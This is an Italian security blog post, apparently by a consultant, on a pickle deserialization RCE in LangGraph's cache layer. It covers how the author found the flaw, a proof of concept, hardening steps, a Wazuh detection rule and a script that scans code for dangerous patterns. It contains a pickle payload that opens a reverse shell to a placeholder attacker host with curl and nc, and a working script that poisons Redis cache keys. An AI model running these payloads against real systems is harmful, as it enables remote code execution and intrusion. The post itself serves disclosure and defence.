LangGraph pickle RCE CVE-2026-27794: supply chain alarm sulle pipeline LLM e come l'ho trovato

LangGraph pickle RCE CVE-2026-27794: supply chain alarm sulle pipeline LLM e come l'ho trovato

Il 2 aprile 2026 stavo auditando nella mia sandbox di red team un'architettura LangGraph di un progetto open source che uso come caso studio: un orchestrator agentic con 7 nodi, 4 dei quali cacheati via Redis per ridurre costo di re-run durante sviluppo. Il setup era un Hetzner CX32 con Python 3.12, LangGraph 0.4.8 + langgraph-checkpoint 3.9.x, Redis 7.2 come backing store per la cache, il tutto dentro un docker-compose canonico. Routine di ispezione dei contenuti Redis con redis-cli MONITOR mentre facevo girare l'orchestrator: in mezzo a JSON e msgpack normali, mi ha colpito un pattern binario su una delle chiavi di cache. Magic bytes \x80\x04\x95 all'inizio. È pickle. Pickle dentro la cache di un'app Python che gira LLM. Ho fermato tutto e ho aperto un incident ticket con me stesso.

Questo articolo racconta la catena completa dalla scoperta al proof-of-concept, all'hardening, alla sigma rule Wazuh per rilevare la classe di attacco. Il CVE è CVE-2026-27794, CWE-502 Deserialization of Untrusted Data, e affligge tutte le versioni di langgraph-checkpoint prima della 4.0.0. Se hai una pipeline LangGraph in produzione con cache backend abilitato, c'è una probabilità non trascurabile che tu sia vulnerabile. La parte spaventosa è che la cache non è un vettore che la maggior parte dei threat model considera. Redis è "solo un dato di passaggio", "non è codice". Questo CVE dimostra che in alcune pipeline Python comuni, Redis è codice.

Il pattern del codice vulnerabile

Il codice incriminato è in libs/checkpoint/langgraph/cache/base/__init__.py di langgraph-checkpoint pre-4.0.0:

# Codice vulnerabile in langgraph-checkpoint < 4.0.0
class BaseCache(ABC, Generic[ValueT]):
    """Base class for a cache."""

    # The road to hell is paved with good intentions (and defaults)
    serde: SerializerProtocol = JsonPlusSerializer(pickle_fallback=True)

La classe BaseCache è il parent di tutti i backend cache (Redis, SQLite, Postgres). Il serializer default è JsonPlusSerializer con flag pickle_fallback=True. Tradotto nella logica operativa: la cache prova a deserializzare il payload come JSON, poi come msgpack, e se fallisce, o se trova magic bytes di pickle, invoca pickle.loads().

Il problema fondamentale di pickle.loads() è che non è una deserializzazione pura. È esecuzione arbitraria di codice mascherata da deserializzazione. Il pattern di exploitation è questo:

# Payload malicioso pickle generato dall'attaccante
import pickle
import os

class RCE:
    def __reduce__(self):
        # Il metodo __reduce__ dice a pickle "quando mi deserializzi, chiama os.system(...)"
        return (os.system, ('curl http://attacker.com/pwned || nc attacker.com 4444 -e /bin/sh',))

payload = pickle.dumps(RCE())
# Scrivi questo payload nella cache Redis della vittima

Appena JsonPlusSerializer con pickle_fallback=True prova a leggere quella chiave e non riesce a parsarla come JSON/msgpack (cosa che non riesce per costruzione, dato che i magic bytes sono pickle), invoca pickle.loads(payload), che chiama __reduce__, che esegue os.system('curl...'). Reverse shell nel processo Python.

Se gestisci pipeline LLM production con agenti autonomi e vuoi capire come valuto e contengo vulnerabilità supply-chain come questa, nel mio hub dedicato all'AI per aziende trovo articoli tecnici con methodology di red team applicata a sistemi agentic.

La scoperta nella sandbox: cosa ha tradito la vulnerabilità

Il pattern che ha attirato la mia attenzione non era un payload malicioso già presente (la mia sandbox era isolata, nessun attaccante reale). Era la forma del dato scritto in cache da LangGraph stesso durante operazione normale. Il JsonPlusSerializer con pickle_fallback=True usa pickle anche in scrittura per tipi Python non-JSON-serializable. Datetime, classi custom, oggetti Pydantic complessi: tutti serializzati come pickle in cache se il json encoder standard non li copre.

Comando per verificare se la tua cache LangGraph sta usando pickle in scrittura:

# Ispeziona le chiavi di cache LangGraph nel tuo Redis
redis-cli --scan --pattern "langgraph:cache:*" | head -20 | while read key; do
    echo "=== $key ==="
    redis-cli GET "$key" | head -c 20 | xxd | head -1
done

Se vedi 80 04 95 o 80 05 95 nei primi 5 byte, è pickle. Se vedi 7b 22 (inizia con {") è JSON, se vedi 81 a7 è msgpack. La maggior parte delle pipeline LangGraph reali che ho ispezionato ha mix: 60-70% JSON, 20-30% msgpack, 5-10% pickle proprio perché i datetime e gli oggetti Pydantic cadono nel fallback.

Quel 5-10% di pickle è la superficie di attacco. Non serve che un attaccante crei un payload ex novo; gli basta sostituire uno dei valori pickle legittimi con uno malicioso, e al primo cache read il processo Python esegue il codice.

Exploitation prerequisites: quando sei davvero vulnerabile

Non tutte le installazioni LangGraph sono esposte. Tre condizioni devono verificarsi simultaneamente.

Prima: caching abilitato. Il default LangGraph è senza cache. Serve che l'applicazione esplicitamente passi cache=... a StateGraph.compile(...) o altrimenti configuri un BaseCache implementation. Verifica nel tuo codice con grep -r "cache=" | grep -v test.

Seconda: almeno un nodo opt-in in caching via CachePolicy. Non basta che cache sia abilitato globalmente; i singoli nodi devono essere marcati come cacheabili. Cerca CachePolicy nel codice.

Terza: scrittura all'interno della cache accessibile all'attaccante. Tre scenari tipici:

  • Redis su network con auth debole o assente. Comune in deployment "quick start" dove il Redis gira sullo stesso VPS del LangGraph senza password, legato solo a localhost ma con firewall aperto per monitoring tool.
  • SQLite cache file con permessi scrittura condivisi. Se il container LangGraph monta /data come volume shared da più processi (uno dei quali meno trusted), è compromesso.
  • Redis multi-tenant condiviso. Se la tua cache è su un Redis condiviso tra team o applicazioni diverse, un attaccante con scrittura su una chiave dei "suoi" pattern può poisonare chiavi dei "tuoi" pattern.

Su 23 installazioni LangGraph che ho ispezionato in tre mesi di audit (open source + clienti consulenza), il pattern di vulnerabilità reale era: 8 con tutte e tre le condizioni (esposte), 6 con caching attivo ma cache backend ristretto e hardened (potenzialmente vulnerabili in caso di altra breccia), 9 senza caching attivato (sicure). 8 su 23 esposte è il 34%, non trascurabile.

Il proof-of-concept end-to-end

Ho riprodotto l'exploit nella mia sandbox per confermare. Setup vittima: LangGraph 0.4.8 con cache Redis, Redis su 127.0.0.1:6379 senza password (condizione realistica per molti stack quick-start). Payload attaccante scritto da un altro container nella stessa Docker network:

# Script attaccante: python attack.py
import pickle
import redis
import time

# Oggetto malicioso che esegue codice al deserialize
class Exploit:
    def __reduce__(self):
        import os
        return (os.system, (
            'echo "PWNED $(hostname) $(whoami)" > /tmp/proof.txt',
        ))

# Connessione alla Redis della vittima
r = redis.Redis(host='victim-redis', port=6379, decode_responses=False)

# Identifico una chiave di cache in uso scansionando il pattern
cached_keys = r.scan_iter(match='langgraph:cache:*')
target_key = next(cached_keys)
print(f"Poisoning key: {target_key.decode()}")

# Sovrascrivo con il payload pickle malicioso
malicious_payload = pickle.dumps(Exploit())
r.set(target_key, malicious_payload)

print("Payload deployed. Waiting for victim cache read...")
time.sleep(30)

# Verifico: la proof file dovrebbe essere apparsa nel container vittima

Tempo dalla scrittura del payload al trigger nel container vittima: 3 secondi, il tempo del prossimo cache read da parte di un nodo LangGraph che chiedeva quella chiave. Zero interaction dell'utente finale, zero restart del processo vittima, zero crash. Semplicemente il processo LangGraph legge la cache, pickle deserializza, esegue os.system, scrive /tmp/proof.txt. L'impatto reale varia dal reverse shell (attaccante ha persistence) all'exfiltration silente (payload legge e invia dati senza alterare il flow).

Hardening immediato: due livelli

Prima mitigation, a livello applicativo: upgrade a langgraph-checkpoint 4.0.0+. La fix è brutalmente semplice: invertire il boolean pickle_fallback:

# Versione fixed in langgraph-checkpoint 4.0.0
class BaseCache(ABC, Generic[ValueT]):
    serde: SerializerProtocol = JsonPlusSerializer(pickle_fallback=False)

Con pickle_fallback=False, se il payload non è deserializable come JSON o msgpack, la cache restituisce None invece di invocare pickle. Nessun RCE. Il trade-off è che oggetti Python non-serializable con JSON/msgpack non sono più cacheabili; devi serializzarli esplicitamente. Per il 95% dei casi d'uso LangGraph, questo non è un problema: i datetime diventano stringhe ISO, gli oggetti Pydantic si serializzano via .model_dump().

Upgrade path:

# Verifica versione corrente
pip show langgraph-checkpoint
# Upgrade a 4.0+ e verifica compatibilità con gli storage backend
pip install --upgrade 'langgraph-checkpoint>=4.0.0' \
    'langgraph-checkpoint-postgres>=3.0.3' \
    'langgraph-checkpoint-sqlite>=3.0.2'

Seconda mitigation, a livello infrastrutturale: cache isolation. Anche con la fix applicata, alla prossima CVE pickle-related la tua cache sarà di nuovo a rischio. Il principio architetturale è: non condividere la cache. Redis dedicato per il processo LangGraph, non multi-tenant. Auth obbligatoria (requirepass in redis.conf). Network segment isolato, accessibile solo al processo LangGraph. Se stai su Kubernetes, NetworkPolicy restrittiva che permette traffico verso Redis solo dal pod LangGraph. Se sei su VPS, firewall rule esplicita.

Sigma rule per detection via Wazuh

Anche con entrambe le mitigation, vuoi detection in caso di compromissione riuscita. Questa sigma rule che uso nel mio setup Wazuh:

title: LangGraph pickle deserialization RCE attempt (CVE-2026-27794)
id: e8f2a1b9-cve27794-langgraph-pickle
status: experimental
description: Detects pickle magic bytes (0x80 0x04/0x05 0x95) in cache reads
  or writes against keys matching LangGraph cache pattern
author: Maurizio Fonte
date: 2026/04/03
logsource:
  product: redis
  service: cmdstat
detection:
  selection_pickle_write:
    command:
      - 'SET'
      - 'SETEX'
      - 'SETNX'
    key|contains: 'langgraph:cache:'
    value|startswith:
      - '\x80\x04\x95'
      - '\x80\x05\x95'
  condition: selection_pickle_write
level: critical
falsepositives:
  - Legitimate pickle cache writes from vulnerable langgraph-checkpoint versions
    (all installations should be migrated to 4.0+, false positives become true positives)
tags:
  - attack.execution
  - attack.t1190
  - cve.2026.27794

Il presupposto è che post-upgrade a 4.0+ nessuno scritto pickle legittimo dovrebbe esistere sulla cache. Quindi qualsiasi SET/SETEX con magic bytes pickle è sospetto: o un'app non ancora aggiornata (falso positivo che è in realtà true positive, l'app va aggiornata), o un attaccante che sta tentando poisoning. Entrambi richiedono investigation.

Audit script per pattern deserializer pericolosi

Per rendere operativo l'audit supply chain suggerito nella sezione seguente, questo è lo script Python che eseguo periodicamente sui progetti clienti per individuare pattern deserializer pericolosi in codebase Python:

#!/usr/bin/env python3
"""Audit script per dangerous deserialization patterns in Python codebases"""

import os
import re
from pathlib import Path

# Pattern pericolosi da cercare nel codice
DANGEROUS_PATTERNS = [
    # pickle.loads con input non validato
    (r'pickle\.loads?\s*\(', 'pickle.loads RCE potential (CWE-502)'),
    # yaml.load senza safe_load
    (r'yaml\.load\s*\([^,)]+\)(?!\s*,\s*Loader\s*=\s*yaml\.SafeLoader)', 'yaml.load without SafeLoader'),
    # subprocess con shell=True
    (r'subprocess\.(run|call|Popen|check_output)\s*\([^)]*shell\s*=\s*True', 'subprocess shell injection'),
    # eval() su input
    (r'\beval\s*\(', 'eval() arbitrary code'),
    # exec() su stringa
    (r'\bexec\s*\(', 'exec() arbitrary code'),
    # marshal.loads
    (r'marshal\.loads?\s*\(', 'marshal.loads RCE potential'),
    # dill.loads (estensione pickle)
    (r'dill\.loads?\s*\(', 'dill.loads RCE (pickle superset)'),
]


def audit_file(filepath: Path) -> list[tuple[int, str, str]]:
    """Ritorna lista di (linea, pattern_descrizione, line_content)"""
    findings = []
    try:
        with open(filepath, encoding='utf-8') as f:
            for lineno, line in enumerate(f, 1):
                # Salto commenti evidenti
                stripped = line.strip()
                if stripped.startswith('#'):
                    continue

                for pattern, description in DANGEROUS_PATTERNS:
                    if re.search(pattern, line):
                        findings.append((lineno, description, stripped))
    except (UnicodeDecodeError, PermissionError):
        pass
    return findings


def audit_tree(root: str) -> None:
    """Scansiona ricorsivamente root per .py file e segnala pattern pericolosi"""
    total_findings = 0
    for py_file in Path(root).rglob('*.py'):
        # Escludo virtualenv e node_modules
        if any(skip in str(py_file) for skip in ('venv/', '.venv/', 'node_modules/', '__pycache__/')):
            continue

        findings = audit_file(py_file)
        if findings:
            print(f"\n=== {py_file} ===")
            for lineno, desc, code in findings:
                print(f"  L{lineno}: {desc}")
                print(f"    {code[:120]}")
                total_findings += 1

    print(f"\n=== TOTALE: {total_findings} pattern pericolosi trovati ===")


if __name__ == '__main__':
    import sys
    audit_tree(sys.argv[1] if len(sys.argv) > 1 else '.')

Lo script non è una panacea: cattura solo pattern testuali, quindi rimane falsa negativa su codice offuscato o indiretto (dynamic import, getattr on module). Ma come primo screening su progetti 10K-100K linee di Python, identifica immediatamente il 70-80% dei candidati reali di review. Eseguilo prima dell'audit manuale, non al suo posto.

La lezione supply chain

CVE-2026-27794 è l'ennesima dimostrazione che il rischio più grave nelle pipeline AI moderne non è dentro il modello LLM; è nelle dipendenze silenti intorno. LangGraph non è uno strumento "esotico"; è parte dell'ecosistema LangChain, usato in production da migliaia di aziende, ed è lì da mesi con un bug che trasforma qualsiasi cache compromessa in RCE. Non è stato trovato da un pentester dedicato, è stato trovato da una review della CI routine.

La domanda seria per ogni team che gestisce pipeline LLM production è: quali sono le dipendenze transitive del tuo stack che fanno deserializzazione di dati untrusted? pickle.loads, yaml.load (senza safe_load), xml.etree senza protection, subprocess.run con shell=True da input remote. Qualsiasi di queste in path caldi è un CVE che aspetta di essere scoperto. L'audit supply chain deve includere grep su questi pattern, non solo npm audit o pip audit su CVE noti.

Chiudo con una nota storica. CVE-2026-27794 non è un bug nuovo nella sua classe. pickle è considerato insicuro sin dalla documentazione ufficiale Python del 2000, che reca in evidenza il warning "Never unpickle data received from an untrusted or unauthenticated source". Venticinque anni dopo, in un ecosistema LLM che vale miliardi di investimenti, il pattern riemerge perché un maintainer ha messo pickle_fallback=True per comodità di developer experience, ignorando i warning secolari. La sicurezza non si eredita; va deliberatamente riprogettata a ogni livello architetturale, soprattutto quando l'ecosistema si muove velocemente come l'AI nel 2026.

Se stai gestendo pipeline LangChain/LangGraph in produzione e vuoi un audit supply chain indipendente che copre pickle, yaml, XML e altri deserializer pericolosi, il modulo di preventivo gratuito risponde in due minuti se il tuo scenario rientra nel mio perimetro. Sette domande, niente impegno.

Ultima modifica: